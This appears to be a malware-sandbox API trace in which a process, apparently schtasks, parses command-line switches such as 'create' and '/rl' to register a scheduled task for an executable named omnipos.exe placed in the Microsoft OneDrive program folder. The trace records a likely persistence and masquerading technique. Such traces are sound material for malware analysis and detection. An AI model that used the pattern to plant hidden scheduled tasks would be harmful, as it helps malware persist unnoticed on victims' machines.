[0141.619] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0141.619] _memicmp (_Buf1=0x34c350, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.619] _memicmp (_Buf1=0x34d500, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.619] SetLastError (dwErrCode=0x7a) [0141.619] SetLastError (dwErrCode=0x0) [0141.619] SetLastError (dwErrCode=0x0) [0141.619] lstrlenW (lpString="'C") returned 2 [0141.619] lstrlenW (lpString="-/") returned 2 [0141.619] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0141.619] SetLastError (dwErrCode=0x490) [0141.619] SetLastError (dwErrCode=0x490) [0141.619] SetLastError (dwErrCode=0x0) [0141.619] _memicmp (_Buf1=0x34d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.619] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0141.619] GetProcessHeap () returned 0x330000 [0141.619] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d580) returned 1 [0141.619] GetProcessHeap () returned 0x330000 [0141.619] RtlReAllocateHeap (Heap=0x330000, Flags=0xc, Ptr=0x34d580, Size=0x70) returned 0x34c290 [0141.619] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0141.619] lstrlenW (lpString=" \x09") returned 2 [0141.619] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0141.619] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0141.619] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0141.619] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0141.619] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0141.619] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0141.620] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0141.620] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0141.620] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0141.621] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0141.621] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0141.621] GetLastError () returned 0x0 [0141.621] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0141.621] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0141.621] SetLastError (dwErrCode=0x0) [0141.621] SetLastError (dwErrCode=0x0) [0141.621] lstrlenW (lpString="/rl") returned 3 [0141.621] lstrlenW (lpString="-/") returned 2 [0141.621] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0141.622] lstrlenW (lpString="create") returned 6 [0141.622] lstrlenW (lpString="create") returned 6 [0141.622] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.622] lstrlenW (lpString="rl") returned 2 [0141.622] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.622] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|create|") returned 8 [0141.622] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.622] lstrlenW (lpString="|create|") returned 8 [0141.622] lstrlenW (lpString="|rl|") returned 4 [0141.622] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0141.622] SetLastError (dwErrCode=0x490) [0141.622] lstrlenW (lpString="?") returned 1 [0141.622] lstrlenW (lpString="?") returned 1 [0141.622] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.622] lstrlenW (lpString="rl") returned 2 [0141.622] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.622] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|?|") returned 3 [0141.622] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.622] lstrlenW (lpString="|?|") returned 3 [0141.622] lstrlenW (lpString="|rl|") returned 4 [0141.622] SetLastError (dwErrCode=0x490) [0141.622] lstrlenW (lpString="s") returned 1 [0141.622] lstrlenW (lpString="s") returned 1 [0141.622] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.622] lstrlenW (lpString="rl") returned 2 [0141.622] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.623] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|s|") returned 3 [0141.623] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.623] lstrlenW (lpString="|s|") returned 3 [0141.623] lstrlenW (lpString="|rl|") returned 4 [0141.623] SetLastError (dwErrCode=0x490) [0141.623] lstrlenW (lpString="u") returned 1 [0141.623] lstrlenW (lpString="u") returned 1 [0141.623] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.623] lstrlenW (lpString="rl") returned 2 [0141.623] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.623] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|u|") returned 3 [0141.623] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.623] lstrlenW (lpString="|u|") returned 3 [0141.623] lstrlenW (lpString="|rl|") returned 4 [0141.623] SetLastError (dwErrCode=0x490) [0141.623] lstrlenW (lpString="p") returned 1 [0141.623] lstrlenW (lpString="p") returned 1 [0141.623] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.623] lstrlenW (lpString="rl") returned 2 [0141.623] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.623] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|p|") returned 3 [0141.623] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.623] lstrlenW (lpString="|p|") returned 3 [0141.623] lstrlenW (lpString="|rl|") returned 4 [0141.623] SetLastError (dwErrCode=0x490) [0141.624] lstrlenW (lpString="ru") returned 2 [0141.624] lstrlenW (lpString="ru") returned 2 [0141.624] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.624] lstrlenW (lpString="rl") returned 2 [0141.624] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.624] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|ru|") returned 4 [0141.624] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.624] lstrlenW (lpString="|ru|") returned 4 [0141.624] lstrlenW (lpString="|rl|") returned 4 [0141.624] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0141.624] SetLastError (dwErrCode=0x490) [0141.624] lstrlenW (lpString="rp") returned 2 [0141.624] lstrlenW (lpString="rp") returned 2 [0141.624] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.624] lstrlenW (lpString="rl") returned 2 [0141.624] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.624] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rp|") returned 4 [0141.624] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.624] lstrlenW (lpString="|rp|") returned 4 [0141.624] lstrlenW (lpString="|rl|") returned 4 [0141.624] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0141.624] SetLastError (dwErrCode=0x490) [0141.624] lstrlenW (lpString="sc") returned 2 [0141.624] lstrlenW (lpString="sc") returned 2 [0141.624] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.625] lstrlenW (lpString="rl") returned 2 [0141.625] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.625] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|sc|") returned 4 [0141.625] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.625] lstrlenW (lpString="|sc|") returned 4 [0141.625] lstrlenW (lpString="|rl|") returned 4 [0141.625] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0141.625] SetLastError (dwErrCode=0x490) [0141.625] lstrlenW (lpString="mo") returned 2 [0141.625] lstrlenW (lpString="mo") returned 2 [0141.625] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.625] lstrlenW (lpString="rl") returned 2 [0141.625] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.625] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|mo|") returned 4 [0141.625] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.625] lstrlenW (lpString="|mo|") returned 4 [0141.625] lstrlenW (lpString="|rl|") returned 4 [0141.625] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0141.625] SetLastError (dwErrCode=0x490) [0141.625] lstrlenW (lpString="d") returned 1 [0141.625] lstrlenW (lpString="d") returned 1 [0141.625] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.625] lstrlenW (lpString="rl") returned 2 [0141.625] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.626] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|d|") returned 3 [0141.626] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.626] lstrlenW (lpString="|d|") returned 3 [0141.626] lstrlenW (lpString="|rl|") returned 4 [0141.626] SetLastError (dwErrCode=0x490) [0141.626] lstrlenW (lpString="m") returned 1 [0141.626] lstrlenW (lpString="m") returned 1 [0141.626] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.626] lstrlenW (lpString="rl") returned 2 [0141.626] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.626] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|m|") returned 3 [0141.626] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.626] lstrlenW (lpString="|m|") returned 3 [0141.626] lstrlenW (lpString="|rl|") returned 4 [0141.626] SetLastError (dwErrCode=0x490) [0141.626] lstrlenW (lpString="i") returned 1 [0141.626] lstrlenW (lpString="i") returned 1 [0141.626] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.626] lstrlenW (lpString="rl") returned 2 [0141.626] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.626] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|i|") returned 3 [0141.626] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.626] lstrlenW (lpString="|i|") returned 3 [0141.626] lstrlenW (lpString="|rl|") returned 4 [0141.626] SetLastError (dwErrCode=0x490) [0141.626] lstrlenW (lpString="tn") returned 2 [0141.626] lstrlenW (lpString="tn") returned 2 [0141.626] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.627] lstrlenW (lpString="rl") returned 2 [0141.627] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.627] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.627] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.627] lstrlenW (lpString="|tn|") returned 4 [0141.627] lstrlenW (lpString="|rl|") returned 4 [0141.627] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0141.627] SetLastError (dwErrCode=0x490) [0141.627] lstrlenW (lpString="tr") returned 2 [0141.627] lstrlenW (lpString="tr") returned 2 [0141.627] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.627] lstrlenW (lpString="rl") returned 2 [0141.627] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.627] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tr|") returned 4 [0141.627] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.627] lstrlenW (lpString="|tr|") returned 4 [0141.627] lstrlenW (lpString="|rl|") returned 4 [0141.627] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0141.627] SetLastError (dwErrCode=0x490) [0141.627] lstrlenW (lpString="st") returned 2 [0141.627] lstrlenW (lpString="st") returned 2 [0141.627] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.627] lstrlenW (lpString="rl") returned 2 [0141.627] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.627] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|st|") returned 4 [0141.627] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.628] lstrlenW (lpString="|st|") returned 4 [0141.628] lstrlenW (lpString="|rl|") returned 4 [0141.628] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0141.628] SetLastError (dwErrCode=0x490) [0141.628] lstrlenW (lpString="sd") returned 2 [0141.628] lstrlenW (lpString="sd") returned 2 [0141.628] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.628] lstrlenW (lpString="rl") returned 2 [0141.628] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.628] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|sd|") returned 4 [0141.628] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.628] lstrlenW (lpString="|sd|") returned 4 [0141.628] lstrlenW (lpString="|rl|") returned 4 [0141.628] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0141.628] SetLastError (dwErrCode=0x490) [0141.628] lstrlenW (lpString="ed") returned 2 [0141.628] lstrlenW (lpString="ed") returned 2 [0141.628] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.628] lstrlenW (lpString="rl") returned 2 [0141.628] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.628] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|ed|") returned 4 [0141.628] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.628] lstrlenW (lpString="|ed|") returned 4 [0141.628] lstrlenW (lpString="|rl|") returned 4 [0141.628] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0141.628] SetLastError (dwErrCode=0x490) [0141.628] lstrlenW (lpString="it") returned 2 [0141.628] lstrlenW (lpString="it") returned 2 [0141.629] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.629] lstrlenW (lpString="rl") returned 2 [0141.629] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.629] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|it|") returned 4 [0141.629] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.629] lstrlenW (lpString="|it|") returned 4 [0141.629] lstrlenW (lpString="|rl|") returned 4 [0141.629] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0141.629] SetLastError (dwErrCode=0x490) [0141.629] lstrlenW (lpString="et") returned 2 [0141.629] lstrlenW (lpString="et") returned 2 [0141.629] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.629] lstrlenW (lpString="rl") returned 2 [0141.629] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.629] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|et|") returned 4 [0141.629] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.629] lstrlenW (lpString="|et|") returned 4 [0141.629] lstrlenW (lpString="|rl|") returned 4 [0141.629] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0141.629] SetLastError (dwErrCode=0x490) [0141.629] lstrlenW (lpString="k") returned 1 [0141.629] lstrlenW (lpString="k") returned 1 [0141.629] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.629] lstrlenW (lpString="rl") returned 2 [0141.629] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.630] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|k|") returned 3 [0141.630] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.630] lstrlenW (lpString="|k|") returned 3 [0141.630] lstrlenW (lpString="|rl|") returned 4 [0141.630] SetLastError (dwErrCode=0x490) [0141.630] lstrlenW (lpString="du") returned 2 [0141.630] lstrlenW (lpString="du") returned 2 [0141.630] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.630] lstrlenW (lpString="rl") returned 2 [0141.630] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.630] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|du|") returned 4 [0141.630] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.630] lstrlenW (lpString="|du|") returned 4 [0141.630] lstrlenW (lpString="|rl|") returned 4 [0141.630] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0141.630] SetLastError (dwErrCode=0x490) [0141.630] lstrlenW (lpString="ri") returned 2 [0141.630] lstrlenW (lpString="ri") returned 2 [0141.630] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.630] lstrlenW (lpString="rl") returned 2 [0141.630] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.630] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|ri|") returned 4 [0141.630] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.630] lstrlenW (lpString="|ri|") returned 4 [0141.630] lstrlenW (lpString="|rl|") returned 4 [0141.630] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0141.631] SetLastError (dwErrCode=0x490) [0141.631] lstrlenW (lpString="z") returned 1 [0141.631] lstrlenW (lpString="z") returned 1 [0141.631] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.631] lstrlenW (lpString="rl") returned 2 [0141.631] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.631] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|z|") returned 3 [0141.631] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.631] lstrlenW (lpString="|z|") returned 3 [0141.631] lstrlenW (lpString="|rl|") returned 4 [0141.631] SetLastError (dwErrCode=0x490) [0141.631] lstrlenW (lpString="f") returned 1 [0141.631] lstrlenW (lpString="f") returned 1 [0141.631] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.631] lstrlenW (lpString="rl") returned 2 [0141.631] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.631] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|f|") returned 3 [0141.631] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.631] lstrlenW (lpString="|f|") returned 3 [0141.631] lstrlenW (lpString="|rl|") returned 4 [0141.631] SetLastError (dwErrCode=0x490) [0141.631] lstrlenW (lpString="v1") returned 2 [0141.631] lstrlenW (lpString="v1") returned 2 [0141.631] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.631] lstrlenW (lpString="rl") returned 2 [0141.631] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.632] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|v1|") returned 4 [0141.632] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.632] lstrlenW (lpString="|v1|") returned 4 [0141.632] lstrlenW (lpString="|rl|") returned 4 [0141.632] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0141.632] SetLastError (dwErrCode=0x490) [0141.632] lstrlenW (lpString="xml") returned 3 [0141.632] lstrlenW (lpString="xml") returned 3 [0141.632] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.632] lstrlenW (lpString="rl") returned 2 [0141.632] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.632] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|xml|") returned 5 [0141.632] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.632] lstrlenW (lpString="|xml|") returned 5 [0141.632] lstrlenW (lpString="|rl|") returned 4 [0141.632] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0141.632] SetLastError (dwErrCode=0x490) [0141.632] lstrlenW (lpString="ec") returned 2 [0141.632] lstrlenW (lpString="ec") returned 2 [0141.632] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.632] lstrlenW (lpString="rl") returned 2 [0141.632] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.632] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|ec|") returned 4 [0141.632] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rl|") returned 4 [0141.632] lstrlenW (lpString="|ec|") returned 4 